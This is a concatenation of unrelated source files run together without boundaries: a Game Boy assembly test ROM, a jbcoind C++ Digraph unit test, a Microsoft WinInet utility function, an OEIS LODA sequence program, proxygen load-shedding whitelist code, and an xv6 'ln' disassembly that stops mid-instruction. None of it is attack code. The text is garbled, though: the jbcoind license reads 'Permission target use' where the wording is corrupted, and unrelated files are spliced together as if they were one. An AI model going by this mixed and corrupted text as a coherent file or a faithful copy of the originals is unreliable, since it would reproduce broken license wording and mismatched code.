.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 80 .text@150 lbegin: ld a, ff ldff(45), a ld b, 96 call lwaitly_b ld a, 40 ldff(41), a ld a, 02 ldff(ff), a xor a, a ldff(0f), a ei ld a, b inc a inc a ldff(45), a ld c, 41 .text@1000 lstatint: xor a, a ldff(45), a .text@1069 ldff a, (c) jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a ld bc, 7a00 ld hl, 8000 ld d, 00 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles pop af ld b, a srl a srl a srl a srl a ld(9800), a ld a, b and a, 0f ld(9801), a ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f 00 00 08 08 22 22 41 41 7f 7f 41 41 41 41 41 41 00 00 7e 7e 41 41 41 41 7e 7e 41 41 41 41 7e 7e 00 00 3e 3e 41 41 40 40 40 40 40 40 41 41 3e 3e 00 00 7e 7e 41 41 41 41 41 41 41 41 41 41 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 40 40 40 40 7f 7f 40 40 40 40 40 40
//------------------------------------------------------------------------------ /* This file is part of jbcoind: https://github.com/jbcoin/jbcoind Copyright (c) 2017 JBCoin Labs Inc. Permission target use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL , DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ //============================================================================== #include <jbcoin/beast/unit_test.h> #include <test/csf/Digraph.h> #include <vector> #include <string> namespace jbcoin { namespace test { class Digraph_test : public beast::unit_test::suite { public: void run() override { using namespace csf; using Graph = Digraph<char,std::string>; Graph graph; BEAST_EXPECT(!graph.connected('a', 'b')); BEAST_EXPECT(!graph.edge('a', 'b')); BEAST_EXPECT(!graph.disconnect('a', 'b')); BEAST_EXPECT(graph.connect('a', 'b', "foobar")); BEAST_EXPECT(graph.connected('a', 'b')); BEAST_EXPECT(*graph.edge('a', 'b') == "foobar"); BEAST_EXPECT(!graph.connect('a', 'b', "repeat")); BEAST_EXPECT(graph.disconnect('a', 'b')); BEAST_EXPECT(graph.connect('a', 'b', "repeat")); BEAST_EXPECT(graph.connected('a', 'b')); BEAST_EXPECT(*graph.edge('a', 'b') == "repeat"); BEAST_EXPECT(graph.connect('a', 'c', "tree")); { std::vector<std::tuple<char, char, std::string>> edges; for (auto const & edge : graph.outEdges('a')) { edges.emplace_back(edge.source, edge.target, edge.data); } std::vector<std::tuple<char, char, std::string>> expected; expected.emplace_back('a', 'b', "repeat"); expected.emplace_back('a', 'c', "tree"); BEAST_EXPECT(edges == expected); BEAST_EXPECT(graph.outDegree('a') == expected.size()); } BEAST_EXPECT(graph.outEdges('r').size() == 0); BEAST_EXPECT(graph.outDegree('r') == 0); BEAST_EXPECT(graph.outDegree('c') == 0); // only 'a' has out edges BEAST_EXPECT(graph.outVertices().size() == 1); std::vector<char> expected = {'b','c'}; BEAST_EXPECT((graph.outVertices('a') == expected)); BEAST_EXPECT(graph.outVertices('b').size() == 0); BEAST_EXPECT(graph.outVertices('c').size() == 0); BEAST_EXPECT(graph.outVertices('r').size() == 0); std::stringstream ss; graph.saveDot(ss, [](char v) { return v;}); std::string expectedDot = "digraph {\n" "a -> b;\n" "a -> c;\n" "}\n"; BEAST_EXPECT(ss.str() == expectedDot); } }; BEAST_DEFINE_TESTSUITE(Digraph, test, jbcoin); } // namespace test } // namespace jbcoin
/*++ Copyright (c) 1996 Microsoft Corporation Module Name: inetapiu.cxx Abstract: Contains WinInet API utility & sub-API functions Contents: wInternetQueryDataAvailable Author: Richard L Firth (rfirth) 16-Feb-1996 Environment: Win32 user-level Revision History: 16-Feb-1996 rfirth Created --*/ #include <wininetp.h> // // functions // BOOL wInternetQueryDataAvailable( IN LPVOID hFileMapped, OUT LPDWORD lpdwNumberOfBytesAvailable, IN DWORD dwFlags, IN DWORD_PTR dwContext ) /*++ Routine Description: Part 2 of InternetQueryDataAvailabe. This function is called by the async worker thread in order to resume InternetQueryDataAvailable(), and by the app as the worker part of the API, post validation We can query available data for handle types that return data, either from a socket, or from a cache file: - HTTP request - FTP file - FTP find - FTP find HTML - gopher file - gopher find - gopher find HTML Arguments: hFileMapped - the mapped HINTERNET lpdwNumberOfBytesAvailable - where the number of bytes is returned dwFlags - flags controlling operation dwContext - context value for callbacks Return Value: DWORD Success - ERROR_SUCCESS Failure - --*/ { DEBUG_ENTER((DBG_INET, Bool, "wInternetQueryDataAvailable", "%#x, %#x, %#x, %#x", hFileMapped, lpdwNumberOfBytesAvailable, dwFlags, dwContext )); LPINTERNET_THREAD_INFO lpThreadInfo = InternetGetThreadInfo(); DWORD error; HINTERNET_HANDLE_TYPE handleType; INET_ASSERT(hFileMapped); // // as usual, grab the per-thread info block // if (lpThreadInfo == NULL) { INET_ASSERT(FALSE); error = ERROR_WINHTTP_INTERNAL_ERROR; goto quit; } // // if this is the async worker thread then set the handle, and // last-error info in the per-thread data block before we go any further // (we already did this on the sync path) // if (lpThreadInfo->IsAsyncWorkerThread) { _InternetSetObjectHandle(lpThreadInfo, ((HANDLE_OBJECT *)hFileMapped)->GetPseudoHandle(), hFileMapped ); _InternetClearLastError(lpThreadInfo); // // we should only be here in async mode if there was no data immediately // available // INET_ASSERT(!((INTERNET_HANDLE_OBJECT *)hFileMapped)->IsDataAvailable()); } // // we copy the number of bytes available to a local variable first, and // only update the caller's variable if we succeed // DWORD bytesAvailable; // // get the current data available // error = ((HTTP_REQUEST_HANDLE_OBJECT *)hFileMapped) ->QueryDataAvailable(&bytesAvailable); quit: BOOL success; if (error == ERROR_SUCCESS) { ((INTERNET_HANDLE_OBJECT *)hFileMapped)->SetAvailableDataLength(bytesAvailable); *lpdwNumberOfBytesAvailable = bytesAvailable; success = TRUE; DEBUG_PRINT(INET, INFO, ("%d bytes available\n", bytesAvailable )); DEBUG_PRINT_API(API, INFO, ("*lpdwNumberOfBytesAvailable (%#x) = %d\n", lpdwNumberOfBytesAvailable, bytesAvailable )); } else { success = FALSE; DEBUG_ERROR(INET, error); } SetLastError(error); DEBUG_LEAVE(success); return success; }
; A033125: Base-7 digits are, in order, the first n terms of the periodic sequence with initial period 1,0,1. ; Submitted by Jon Maiga ; 1,7,50,351,2457,17200,120401,842807,5899650,41297551,289082857,2023580000,14165060001,99155420007,694087940050,4858615580351,34010309062457,238072163437200,1666505144060401,11665536008422807,81658752058959650,571611264412717551,4001278850889022857,28008951956223160000,196062663693562120001,1372438645854934840007,9607070520984543880050,67249493646891807160351,470746455528242650122457,3295225188697698550857200,23066576320883889856000401,161466034246187228992002807,1130262239723310602944019650 mov $2,1 lpb $0 sub $0,1 mul $2,7 mod $3,2 add $2,$3 add $3,$2 lpe mov $0,$2
/* * Copyright (c) 2014, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ #include "proxygen/lib/services/LoadShedConfiguration.h" #include <folly/Conv.h> #include <openssl/ssl.h> using folly::SocketAddress; using std::string; namespace proxygen { void LoadShedConfiguration::addWhitelistAddr(folly::StringPiece input) { auto addr = input.str(); size_t separator = addr.find_first_of('/'); if (separator == string::npos) { whitelistAddrs_.insert(SocketAddress(addr, 0)); } else { unsigned prefixLen = folly::to<unsigned>(addr.substr(separator + 1)); addr.erase(separator); whitelistNetworks_.insert( NetworkAddress(SocketAddress(addr, 0), prefixLen)); } } bool LoadShedConfiguration::isWhitelisted(const SocketAddress& address) const { if (whitelistAddrs_.find(address) != whitelistAddrs_.end()) { return true; } for (auto& network : whitelistNetworks_) { if (network.contains(address)) { return true; } } return false; } }
_ln: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 53 push %ebx e: 51 push %ecx f: 89 cb mov %ecx,%ebx if(argc != 3){ 11: 83 3b 03 cmpl $0x3,(%ebx) 14: 74 17 je 2d <main+0x2d> printf(2, "Usage: ln old new\n"); 16: 83 ec 08 sub $0x8,%esp 19: 68 d0 07 00 00 push $0x7d0 1e: 6a 02 push $0x2 20: e8 ff 03 00 00 call 424 <printf> 25: 83 c4 10 add $0x10,%esp exit(); 28: e8 85 02 00 00 call 2b2 <exit> } if(link(argv[1], argv[2]) < 0) 2d: 8b 43 04 mov 0x4(%ebx),%eax 30: 83 c0 08 add $0x8,%eax 33: 8b 10 mov (%eax),%edx 35: 8b 43 04 mov 0x4(%ebx),%eax 38: 83 c0 04 add $0x4,%eax 3b: 8b 00 mov (%eax),%eax 3d: 83 ec 08 sub $0x8,%esp 40: 52 push %edx 41: 50 push %eax 42: e8 cb 02 00 00 call 312 <link> 47: 83 c4 10 add $0x10,%esp 4a: 85 c0 test %eax,%eax 4c: 79 21 jns 6f <main+0x6f> printf(2, "link %s %s: failed\n", argv[1], argv[2]); 4e: 8b 43 04 mov 0x4(%ebx),%eax 51: 83 c0 08 add $0x8,%eax 54: 8b 10 mov (%eax),%edx 56: 8b 43 04 mov 0x4(%ebx),%eax 59: 83 c0 04 add $0x4,%eax 5c: 8b 00 mov (%eax),%eax 5e: 52 push %edx 5f: 50 push %eax 60: 68 e3 07 00 00 push $0x7e3 65: 6a 02 push $0x2 67: e8 b8 03 00 00 call 424 <printf> 6c: 83 c4 10 add $0x10,%esp exit(); 6f: e8 3e 02 00 00 call 2b2 <exit> 00000074 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 74: 55 push %ebp 75: 89 e5 mov %esp,%ebp 77: 57 push %edi 78: 53 push %ebx asm volatile("cld; rep stosb" : 79: 8b 4d 08 mov 0x8(%ebp),%ecx 7c: 8b 55 10 mov 0x10(%ebp),%edx 7f: 8b 45 0c mov 0xc(%ebp),%eax 82: 89 cb mov %ecx,%ebx 84: 89 df mov %ebx,%edi 86: 89 d1 mov %edx,%ecx 88: fc cld 89: f3 aa rep stos %al,%es:(%edi) 8b: 89 ca mov %ecx,%edx 8d: 89 fb mov %edi,%ebx 8f: 89 5d 08 mov %ebx,0x8(%ebp) 92: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 95: 5b pop %ebx 96: 5f pop %edi 97: 5d pop %ebp 98: c3 ret 00000099 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 99: 55 push %ebp 9a: 89 e5 mov %esp,%ebp 9c: 83 ec 10 sub $0x10,%esp char *os; os = s; 9f: 8b 45 08 mov 0x8(%ebp),%eax a2: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) a5: 90 nop a6: 8b 45 08 mov 0x8(%ebp),%eax a9: 8d 50 01 lea 0x1(%eax),%edx ac: 89 55 08 mov %edx,0x8(%ebp) af: 8b 55 0c mov 0xc(%ebp),%edx b2: 8d 4a 01 lea 0x1(%edx),%ecx b5: 89 4d 0c mov %ecx,0xc(%ebp) b8: 8a 12 mov (%edx),%dl ba: 88 10 mov %dl,(%eax) bc: 8a 00 mov (%eax),%al be: 84 c0 test %al,%al c0: 75 e4 jne a6 <strcpy+0xd> ; return os; c2: 8b 45 fc mov -0x4(%ebp),%eax } c5: c9 leave c6: c3 ret 000000c7 <strcmp>: int strcmp(const char *p, const char *q) { c7: 55 push %ebp c8: 89 e5 mov %esp,%ebp while(*p && *p == *q) ca: eb 06 jmp d2 <strcmp+0xb> p++, q++; cc: ff 45 08 incl 0x8(%ebp) cf: ff 45 0c incl 0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) d2: 8b 45 08 mov 0x8(%ebp),%eax d5: 8a 00 mov (%eax),%al d7: 84 c0 test %al,%al d9: 74 0e je e9 <strcmp+0x22> db: 8b 45 08 mov 0x8(%ebp),%eax de: 8a 10 mov (%eax),%dl e0: 8b 45 0c mov 0xc(%ebp),%eax e3: 8a 00 mov (%eax),%al e5: 38 c2 cmp %al,%dl e7: 74 e3 je cc <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; e9: 8b 45 08 mov 0x8(%ebp),%eax ec: 8a 00 mov (%eax),%al ee: 0f b6 d0 movzbl %al,%edx f1: 8b 45 0c mov 0xc(%ebp),%eax f4: 8a 00 mov (%eax),%al f6: 0f b6 c0 movzbl %al,%eax f9: 29 c2 sub %eax,%edx fb: 89 d0 mov %edx,%eax } fd: 5d pop %ebp fe: c3 ret 000000ff <strlen>: uint strlen(char *s) { ff: 55 push %ebp 100: 89 e5 mov %esp,%ebp 102: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 105: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 10c: eb 03 jmp 111 <strlen+0x12> 10e: ff 45 fc incl -0x4(%ebp) 111: 8b 55 fc mov -0x4(%ebp),%edx 114: 8b 45 08 mov 0x8(%ebp),%eax 117: 01 d0 add %edx,%eax 119: 8a 00 mov (%eax),%al 11b: 84 c0 test %al,%al 11d: 75 ef jne 10e <strlen+0xf> ; return n; 11f: 8b 45 fc mov -0x4(%ebp),%eax } 122: c9 leave 123: c3 ret 00000124 <memset>: void* memset(void *dst, int c, uint n) { 124: 55 push %ebp 125: 89 e5 mov %esp,%ebp stosb(dst, c, n); 127: 8b 45 10 mov 0x10(%ebp),%eax 12a: 50 push %eax 12b: ff 75 0c pushl 0xc(%ebp) 12e: ff 75 08 pushl 0x8(%ebp) 131: e8 3e ff ff ff call 74 <stosb> 136: 83 c4 0c add $0xc,%esp return dst; 139: 8b 45 08 mov 0x8(%ebp),%eax } 13c: c9 leave 13d: c3 ret 0000013e <strchr>: char* strchr(const char *s, char c) { 13e: 55 push %ebp 13f: 89 e5 mov %esp,%ebp 141: 83 ec 04 sub $0x4,%esp 144: 8b 45 0c mov 0xc(%ebp),%eax 147: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 14a: eb 12 jmp 15e <strchr+0x20> if(*s == c) 14c: 8b 45 08 mov 0x8(%ebp),%eax 14f: 8a 00 mov (%eax),%al 151: 3a 45 fc cmp -0x4(%ebp),%al 154: 75 05 jne 15b <strchr+0x1d> return (char*)s; 156: 8b 45 08 mov 0x8(%ebp),%eax 159: eb 11 jmp 16c <strchr+0x2e> } char* strchr(const char *s, char c) { for(; *s; s++) 15b: ff 45 08 incl 0x8(%ebp) 15e: 8b 45 08 mov 0x8(%ebp),%eax 161: 8a 00 mov (%eax),%al 163: 84 c0 test %al,%al 165: 75 e5 jne 14c <strchr+0xe> if(*s == c) return (char*)s; return 0; 167: b8 00 00 00 00 mov $0x0,%eax } 16c: c9 leave 16d: c3 ret 0000016e <gets>: char* gets(char *buf, int max) { 16e: 55 push %ebp 16f: 89 e5 mov %esp,%ebp 171: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 174: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 17b: eb 41 jmp 1be <gets+0x50> cc = read(0, &c, 1); 17d: 83 ec 04 sub $0x4,%esp 180: 6a 01 push $0x1 182: 8d 45 ef lea -0x11(%ebp),%eax 185: 50 push %eax 186: 6a 00 push $0x0 188: e8 3d 01 00 00 call 2ca <read> 18d: 83 c4 10 add $0x10,%esp 190: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 193: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 197: 7f 02 jg 19b <gets+0x2d> break; 199: eb 2c jmp 1c7 <gets+0x59> buf[i++] = c; 19b: 8b 45 f4 mov -0xc(%ebp),%eax 19e: 8d 50 01 lea 0x1(%eax),%edx 1a1: 89 55 f4 mov %edx,-0xc(%ebp) 1a4: 89 c2 mov %eax,%edx 1a6: 8b 45 08 mov 0x8(%ebp),%eax 1a9: 01 c2 add %eax,%edx 1ab: 8a 45 ef mov -0x11(%ebp),%al 1ae: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 1b0: 8a 45 ef mov -0x11(%ebp),%al 1b3: 3c 0a cmp $0xa,%al 1b5: 74 10 je 1c7 <gets+0x59> 1b7: 8a 45 ef mov -0x11(%ebp),%al 1ba: 3c 0d cmp $0xd,%al 1bc: 74 09 je 1c7 <gets+0x59> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1be: 8b 45 f4 mov -0xc(%ebp),%eax 1c1: 40 inc %eax 1c2: 3b 45 0c cmp 0xc(%ebp),%eax 1c5: 7c b6 jl 17d <gets+0xf> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1c7: 8b 55 f4 mov -0xc(%ebp),%edx 1ca: 8b 45 08 mov 0x8(%ebp),%eax 1cd: 01 d0 add %edx,%eax 1cf: c6 00 00 movb $0x0,(%eax) return buf; 1d2: 8b 45 08 mov 0x8(%ebp),%eax } 1d5: c9 leave 1d6: c3 ret 000001d7 <stat>: int stat(char *n, struct stat *st) { 1d7: 55 push %ebp 1d8: 89 e5 mov %esp,%ebp 1da: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 1dd: 83 ec 08 sub $0x8,%esp 1e0: 6a 00 push $0x0 1e2: ff 75 08 pushl 0x8(%ebp) 1e5: e8 08 01 00 00 call 2f2 <open> 1ea: 83 c4 10 add $0x10,%esp 1ed: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 1f0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1f4: 79 07 jns 1fd <stat+0x26> return -1; 1f6: b8 ff ff ff ff mov $0xffffffff,%eax 1fb: eb 25 jmp 222 <stat+0x4b> r = fstat(fd, st); 1fd: 83 ec 08 sub $0x8,%esp 200: ff 75 0c pushl 0xc(%ebp) 203: ff 75 f4 pushl -0xc(%ebp) 206: e8 ff 00 00 00 call 30a <fstat> 20b: 83 c4 10 add $0x10,%esp 20e: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 211: 83 ec 0c sub $0xc,%esp 214: ff 75 f4 pushl -0xc(%ebp) 217: e8 be 00 00 00 call 2da <close> 21c: 83 c4 10 add $0x10,%esp return r; 21f: 8b 45 f0 mov -0x10(%ebp),%eax } 222: c9 leave 223: c3 ret 00000224 <atoi>: int atoi(const char *s) { 224: 55 push %ebp 225: 89 e5 mov %esp,%ebp 227: 83 ec 10 sub $0x10,%esp int n; n = 0; 22a: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 231: eb 24 jmp 257 <atoi+0x33> n = n*10 + *s++ - '0'; 233: 8b 55 fc mov -0x4(%ebp),%edx 236: 89 d0 mov %edx,%eax 238: c1 e0 02 shl $0x2,%eax 23b: 01 d0 add %edx,%eax 23d: 01 c0 add %eax,%eax 23f: 89 c1 mov %eax,%ecx 241: 8b 45 08 mov 0x8(%ebp),%eax 244: 8d 50 01 lea 0x1(%eax),%edx 247: 89 55 08 mov %edx,0x8(%ebp) 24a: 8a 00 mov (%eax),%al 24c: 0f be c0 movsbl %al,%eax 24f: 01 c8 add %ecx,%eax 251: 83 e8 30 sub $0x30,%eax 254: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 257: 8b 45 08 mov 0x8(%ebp),%eax 25a: 8a 00 mov (%eax),%al 25c: 3c 2f cmp $0x2f,%al 25e: 7e 09 jle 269 <atoi+0x45> 260: 8b 45 08 mov 0x8(%ebp),%eax 263: 8a 00 mov (%eax),%al 265: 3c 39 cmp $0x39,%al 267: 7e ca jle 233 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 269: 8b 45 fc mov -0x4(%ebp),%eax } 26c: c9 leave 26d: c3 ret 0000026e <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 26e: 55 push %ebp 26f: 89 e5 mov %esp,%ebp 271: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 274: 8b 45 08 mov 0x8(%ebp),%eax 277: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 27a: 8b 45 0c mov 0xc(%ebp),%eax 27d: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 280: eb 16 jmp 298 <memmove+0x2a> *dst++ = *src++; 282: 8b 45 fc mov -0x4(%ebp),%eax 285: 8d 50 01 lea 0x1(%eax),%edx 288: 89 55 fc mov %edx,-0x4(%ebp) 28b: 8b 55 f8 mov -0x8(%ebp),%edx 28e: 8d 4a 01 lea 0x1(%edx),%ecx 291: 89 4d f8 mov %ecx,-0x8(%ebp) 294: 8a 12 mov (%edx),%dl 296: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 298: 8b 45 10 mov 0x10(%ebp),%eax 29b: 8d 50 ff lea -0x1(%eax),%edx 29e: 89 55 10 mov %edx,0x10(%ebp) 2a1: 85 c0 test %eax,%eax 2a3: 7f dd jg 282 <memmove+0x14> *dst++ = *src++; return vdst; 2a5: 8b 45 08 mov 0x8(%ebp),%eax } 2a8: c9 leave 2a9: c3 ret 000002aa <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 2aa: b8 01 00 00 00 mov $0x1,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <exit>: SYSCALL(exit) 2b2: b8 02 00 00 00 mov $0x2,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <wait>: SYSCALL(wait) 2ba: b8 03 00 00 00 mov $0x3,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <pipe>: SYSCALL(pipe) 2c2: b8 04 00 00 00 mov $0x4,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <read>: SYSCALL(read) 2ca: b8 05 00 00 00 mov $0x5,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <write>: SYSCALL(write) 2d2: b8 10 00 00 00 mov $0x10,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <close>: SYSCALL(close) 2da: b8 15 00 00 00 mov $0x15,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <kill>: SYSCALL(kill) 2e2: b8 06 00 00 00 mov $0x6,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <exec>: SYSCALL(exec) 2ea: b8 07 00 00 00 mov $0x7,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <open>: SYSCALL(open) 2f2: b8 0f 00 00 00 mov $0xf,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <mknod>: SYSCALL(mknod) 2fa: b8 11 00 00 00 mov $0x11,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <unlink>: SYSCALL(unlink) 302: b8 12 00 00 00 mov $0x12,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <fstat>: SYSCALL(fstat) 30a: b8 08 00 00 00 mov $0x8,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <link>: SYSCALL(link) 312: b8 13 00 00 00 mov $0x13,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <mkdir>: SYSCALL(mkdir) 31a: b8 14 00 00 00 mov $0x14,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <chdir>: SYSCALL(chdir) 322: b8 09 00 00 00 mov $0x9,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <dup>: SYSCALL(dup) 32a: b8 0a 00 00 00 mov $0xa,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <getpid>: SYSCALL(getpid) 332: b8 0b 00 00 00 mov $0xb,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <sbrk>: SYSCALL(sbrk) 33a: b8 0c 00 00 00 mov $0xc,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <sleep>: SYSCALL(sleep) 342: b8 0d 00 00 00 mov $0xd,%eax 347: cd 40 int $0x40 349: c3 ret 0000034a <uptime>: SYSCALL(uptime) 34a: b8 0e 00 00 00 mov $0xe,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 352: 55 push %ebp 353: 89 e5 mov %esp,%ebp 355: 83 ec 18 sub $0x18,%esp 358: 8b 45 0c mov 0xc(%ebp),%eax 35b: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 35e: 83 ec 04 sub $0x4,%esp 361: 6a 01 push $0x1 363: 8d 45 f4 lea -0xc(%ebp),%eax 366: 50 push %eax 367: ff 75 08 pushl 0x8(%ebp) 36a: e8 63 ff ff ff call 2d2 <write> 36f: 83 c4 10 add $0x10,%esp } 372: c9 leave 373: c3 ret 00000374 <printint>: static void printint(int fd, int xx, int base, int sgn) { 374: 55 push %ebp 375: 89 e5 mov %esp,%ebp 377: 53 push %ebx 378: 83 ec 24 sub $0x24,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 37b: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 382: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 386: 74 17 je 39f <printint+0x2b> 388: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 38c: 79 11 jns 39f <printint+0x2b> neg = 1; 38e: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 395: 8b 45 0c mov 0xc(%ebp),%eax 398: f7 d8 neg %eax 39a: 89 45 ec mov %eax,-0x14(%ebp) 39d: eb 06 jmp 3a5 <printint+0x31> } else { x = xx; 39f: 8b 45 0c mov 0xc(%ebp),%eax 3a2: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 3a5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 3ac: 8b 4d f4 mov -0xc(%ebp),%ecx 3af: 8d 41 01 lea 0x1(%ecx),%eax 3b2: 89 45 f4 mov %eax,-0xc(%ebp) 3b5: 8b 5d 10 mov 0x10(%ebp),%ebx 3b8: 8b 45 ec mov -0x14(%ebp),%eax 3bb: ba 00 00 00 00 mov $0x0,%edx 3c0: f7 f3 div %ebx 3c2: 89 d0 mov %edx,%eax 3c4: 8a 80 4c 0a 00 00 mov 0xa4c(%eax),%al 3ca: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 3ce: 8b 5d 10 mov 0x10(%ebp),%ebx 3d1: 8b 45 ec mov -0x14(%ebp),%eax 3d4: ba 00 00 00 00 mov $0x0,%edx 3d9: f7 f3 div %ebx 3db: 89 45 ec mov %eax,-0x14(%ebp) 3de: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 3e2: 75 c8 jne 3ac <printint+0x38> if(neg) 3e4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 3e8: 74 0e je 3f8 <printint+0x84> buf[i++] = '-'; 3ea: 8b 45 f4 mov -0xc(%ebp),%eax 3ed: 8d 50 01 lea 0x1(%eax),%edx 3f0: 89 55 f4 mov %edx,-0xc(%ebp) 3f3: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 3f8: eb 1c jmp 416 <printint+0xa2> putc(fd, buf[i]); 3fa: 8d 55 dc lea -0x24(%ebp),%edx 3fd: 8b 45 f4 mov -0xc(%ebp),%eax 400: 01 d0 add %edx,%eax 402: 8a 00 mov (%eax),%al 404: 0f be c0 movsbl %al,%eax 407: 83 ec 08 sub $0x8,%esp 40a: 50 push %eax 40b: ff 75 08 pushl 0x8(%ebp) 40e: e8 3f ff ff ff call 352 <putc> 413: 83 c4 10 add $0x10,%esp buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 416: ff 4d f4 decl -0xc(%ebp) 419: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 41d: 79 db jns 3fa <printint+0x86> putc(fd, buf[i]); } 41f: 8b 